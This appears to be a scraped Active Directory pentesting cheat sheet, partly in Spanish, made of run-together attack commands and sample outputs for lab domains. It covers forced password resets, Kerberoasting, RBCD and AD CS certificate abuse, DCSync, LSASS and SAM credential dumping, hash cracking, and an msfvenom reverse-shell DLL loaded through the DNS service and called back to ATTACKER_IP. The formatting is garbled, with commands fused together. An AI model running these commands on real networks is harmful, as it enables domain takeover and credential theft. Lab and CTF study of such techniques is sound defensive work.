# Kerberos Authentication (.ccache)
.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'bloodyAD --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10Set-DomainUserPassword -Identity 'victim' -AccountPassword 'NewPassword12'impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -altpass 'Password01!' -dc-ip 10.10.10.10impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -althash '01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10impacket-changepasswd domain.htb/victim@dc.domain.htb -newpass 'NewPass01!' -reset -altuser 'attacker' -k -no-pass -dc-ip 10.10.10.10nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10change_password victim 'NewPass123!'rpcclient -U 'attacker%Password01!' 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'rpcclient -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'Password01!' -S 10.10.10.10net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -S 10.10.10.10pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%Password01!' -S 10.10.10.10pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%afac881b79a524c8e99d2b34f438058b' --pw-nt-hash -S 10.10.10.10use auxiliary/admin/ldap/change_password
set rhosts 10.10.10.10
set domain domain.htb
set username attacker
set password Password01!
set target_user victim
set new_password NewPass123!
run.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'powershell -ep bypass
Import-Module .\PowerView.ps1
$user = 'DOMAIN\attacker';
$pass= ConvertTo-SecureString 'AttackerPwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\victim' -AccountPassword $newpass -Credential $creds;lsadump::setntlm /server:domain.htb /user:victim/password:NewPass123!net user victim NewPass123! /domainImport-Module ActiveDirectory
Set-ADAccountPassword -Identity victim -NewPassword (ConvertTo-SecureString 'NewPass12!' -AsPlainText -Force) -Reset# Kerberoasting Attack con credenciales válidas y autenticación NTLM
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -request 2>/dev/null
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user:'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación Kerberos
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting sin credenciales de dominio pero con un usuario AS-REP Roast, necesario disponer de lista de usuarios en 'users.txt'
impacket-GetUserSPNs -no-preauth 'usuario-asrep' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.161 2>/dev/null# Obtención de TGT a través de contraseña básica
impacket-getTGT dominio.htb/user:'password' -dc-ip 10.10.10.10
# Obtención de TGT a través de Hash NTLM
impacket-getTGT dominio.htb/user -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
# Obtención de TGT a través de Autenticación Kerberos
impacket-getTGT dominio.htb/user -k -no-pass -dc-ip 10.10.10.10ldapsearch -x -H ldap://10.10.10.10 -s base | grep defaultNamingContext# RBCD a través de autenticación NTLM
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd':'password' 2>/dev/null
# RBCD a través de PassTheHash
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -hashes :<NTLM_HASH> 2>/dev/null
# RBCD a través de Autenticación Kerberos
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -k -no-pass 2>/dev/nullldapsearch -x -H ldap://10.10.10.10 -b "dc=domain,dc=htb" | grep -ie "pwd\|password"ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b 'dc=domain,dc=htb' "(info=*)" infoldapsearch -x -H ldap://10.10.10.10 -D user@domain.htb -w 'password' -b 'dc=domain,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwd# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*god)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=god*)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=computer)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=computer)"# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info
impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.10 2>/dev/nullsudo ntpdate -s 10.10.10.10Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects
Get-ADObject -Filter {Deleted -eq $true -and ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *




certipy-ad find -u user@dominio.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdoutcertipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.keypython3 /opt/PassTheCert/Python/passthecert.py -action whoami -crt administrator.crt -key administrator.key -domain dominio.htb -dc-ip 10.10.10.10# Autenticación con credenciales
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u user@dominio.htb -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10 -target dc.dominio.htb
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10 -target dc.dominio.htbcertipy-ad auth -pfx administrator.pfx -dc-ip 10.10.10.10 -d dominio.htb[?] +++++ Checking Template 'CorpVPN' +++++
[!] Template 'CorpVPN' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[+] Identity 'HTB\Domain Computers' has enrollment rights for template 'CorpVPN'powerview dominio.htb/'user':'password'@10.10.10.10 --dc-ip 10.10.10.10
PV > Add-ADComputer -ComputerName Gzzcoo -ComputerPass Gzzcoo123certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator@domnio.htb -dc-ip 10.10.10.10
certipy-ad req -u 'Gzzcoo$'@dominio.htb -p 'Gzzcoo123' -ca <ca_name> -template <template_name> -upn administrator -dc-ip 10.10.10.10certipy-ad auth -pfx administrator.pfx -username Administrator -domain dominio.htbcertipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -upn usercertipy-ad auth -pfx administrator.pfx -username administrator -dc-ip 10.10.10.10 -d dominio.htbKRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass certipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> /altname:administrator@dominio.htbcertipy-ad req -u user@dominio.htb -p "Password01!" -ca <ca_name> -template <template_name> -on-behalf-of 'dominio.htb\administrator' -pfx user.pfx# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -save-old -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -save-old -dc-ip 10.10.10.10 -target dc.dominio.htb# Autenticación con credenciales
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad find -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -dc-ip 10.10.10.10 -vulnerable -stdout
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad find -k -no-pass -dc-ip 10.10.10.10 -vulnerable -stdout# Autenticación con credenciales
certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad req -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad req -k -no-pass -ca <ca_name> -template <template_name> -upn Administrator -dc-ip 10.10.10.10 -target dc.dominio.htbcertipy-ad auth -pfx administrator.pfx -domain domain.htb# Autenticación con credenciales
certipy-ad template -u 'user@dominio.htb' -p 'Password01!' -template <template_name> -configuration <template_name>.json
# Autenticación con hash NLTM realizando PassTheHash
certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json
# Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htbcertipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administratorcertipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcpcertipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htbcertipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htbcertipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>certipy-ad relay -target <adcs_ip> -template <machine_template>coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -vcertipy-ad auth -pfx machine_account.pfximpacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> AdministratorKRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htbcertipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victimcertipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administratorcertipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htbcertipy-ad auth -pfx administrator.pfx -domain dominio.htbcertipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victimcertipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administratorcertipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htbcertipy-ad auth -pfx administrator.pfx -domain dominio.htbcertipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victimcertipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htbcertipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shelladd_computer <new_account_name> <new_account_pass>
set_rbcd <dc_machine_name>$ <new_account_name>$impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainControllerpython3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainControllercertipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
url: WRITE
wWWHomePage: WRITE
distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb
...[SNIP]...
distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
altSecurityIdentities: WRITE❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
[2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
[2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
(LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 15
[*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
[*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
[*] Saved certificate and private key to 'gzzcoo.pfx'❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing certificate and to 'gzzcoo.crt'import sys
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def format_serial_le(serial_int):
hex_serial = format(serial_int, 'x').zfill(2)
if len(hex_serial) % 2 != 0:
hex_serial = '0' + hex_serial
bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
return ''.join(reversed(bytes_pairs))
def parse_issuer(cert):
oid_map = {
'commonName': 'CN',
'countryName': 'C',
'organizationName': 'O',
'organizationalUnitName': 'OU',
'stateOrProvinceName': 'ST',
'localityName': 'L',
'domainComponent': 'DC'
}
issuer = cert.issuer
issuer_parts = []
for attribute in issuer:
oid = attribute.oid._name
key = oid_map.get(oid, oid)
value = attribute.value
issuer_parts.append(f"{key}={value}")
return ",".join(issuer_parts)
def get_cert_info(path):
with open(path, 'rb') as f:
data = f.read()
if path.endswith('.pfx'):
private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
else:
cert = x509.load_pem_x509_certificate(data, backend=default_backend())
serial_le = format_serial_le(cert.serial_number)
issuer = parse_issuer(cert)
print(f"X509:<I>{issuer}<SR>{serial_le}")
if __name__ == '__main__':
if len(sys.argv) != 2:
print("Uso: python3 x509.py file.pfx|file.crt")
sys.exit(1)
get_cert_info(sys.argv[1])❯ python3 x509.py gzzcoo.pfx
X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
[+] userB's altSecurityIdentities has been updated❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
Do you want to continue? (Y/n) Y
[*] Using principal: userB@gzzcoo.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'userB.ccache'
[*] Trying to retrieve NT hash for 'userB'
[*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdoutCertificate Authorities
0
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
...
Request Disposition : Issue
...
Disabled Extensions : 1.3.6.1.4.1.311.25.2
...
Permissions
Access Rights
...
Enroll : CORP.LOCAL\Authenticated Users
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC16 : Security Extension is disabled.
[*] Remarks
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' readcertipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' updatecertipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'export KRB5CCNAME=$(pwd)/victim.ccachecertipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' updatecertipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'sudo apt install libkrb5-dev
pip3 install powerview --break-system-packagespowerview dominio.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10powerview dominio.htb/user@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10.10powerview dominio.htb/user@dc.dominio.htb --dc-ip 10.10.10.10 -ns dc.dominio.htb -k --no-passpowerview dominio.htb/'user':'password'@10.10.10.10 --web --web-host 127.0.0.1 --web-port 3000Add-DomainGroupMember -Identity 'GROUP_TARGET' -Members 'USER_TARGET'Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=66048'Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'Get-GMSAInvoke-KerberoastSet-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'Add-ADComputer -ComputerName 'Gzzcoo' -ComputerPass 'Password01!'Add-ADUser -UserName 'Gzzcoo' -UserPass 'Password01!'Add-DomainDNSRecord -RecordName '<dns_record_target>' -RecordAddress <ATTACKER_IP>sudo apt install bloodyad -ybloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtimebloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPasswordbloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTHbloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f ACCOUNTDISABLEbloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'GROUP_TARGET' 'USER_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add shadowCredentials 'target'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dnsRecord <dns_record_target> <ATTACKER_IP>bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' mail -v 'impersonateUser@dominio.htb'bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' altSecurityIdentities -v 'X509:<I><.........>'privilege::debug sekurlsa::logonpasswordsfile lsass.DMP
pypykatz lsa minidump lsass.DMPC:\Windows\system32> tasklist /svc | findstr lsass.exe
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
Registry 96 N/A
smss.exe 344 N/A
csrss.exe 432 N/A
wininit.exe 508 N/A
csrss.exe 520 N/A
winlogon.exe 580 N/A
services.exe 652 N/A
lsass.exe 672 KeyIso, SamSs, VaultSvc
svchost.exe 776 PlugPlay
svchost.exe 804 BrokerInfrastructure, DcomLaunch, Power,
SystemEventsBroker
fontdrvhost.exe 812 N/APS C:\Windows\system32> Get-Process lsass
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1260 21 4948 15396 2.56 672 0 lsassPS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp fullnxc smb 10.99.99.10 -u 'user' -p 'Password01!' -M lsassynxc smb 10.99.99.10 -u 'user' -H '027ae3139c0b6e47d3825660c1ede923' -M lsassynxc smb dc.dominio.htb --use-kcache -M lsassylsassy -d dominio.htb -u 'user' -p 'Password' 10.99.99.10lsassy -d dominio.htb -u 'user' -H ':027ae3139c0b6e47d3825660c1ede923' 10.99.99.10lsassy -d dominio.htb -k --no-pass 10.99.99.10 -dc-ip 10.99.99.10echo '027ae3139c0b6e47d3825660c1ede923' > hashes.txt
hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txthashcat -a 0 -m 1000 027ae3139c0b6e47d3825660c1ede923 /usr/share/wordlist/rockyou.txtmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o pwn.dll
impacket-smbserver smbFolder $(pwd) -smb2support
rlwrap -cAr nc -nlvp 443dnscmd.exe /config /serverlevelplugindll \\<ATTACKER_IP>\smbFolder\pwn.dll
sc.exe stop dns
sc.exe start dnsC:\Users\bob\Desktop> LaZagne.exe all|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
########## User: bob ##########
------------------- Winscp passwords -----------------
[+] Password found !!!
URL: 10.129.202.51
Login: admin
Password: SteveisReallyCool123
Port: 22C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.ymlGet-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.git,*.ps1,*.yml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"C:\Temp>systeminfo
systeminfo
Host Name: GRANNY
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790*Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
The operation completed successfully.
*Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
The operation completed successfully.❯ samdump2 SYSTEM SAM
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
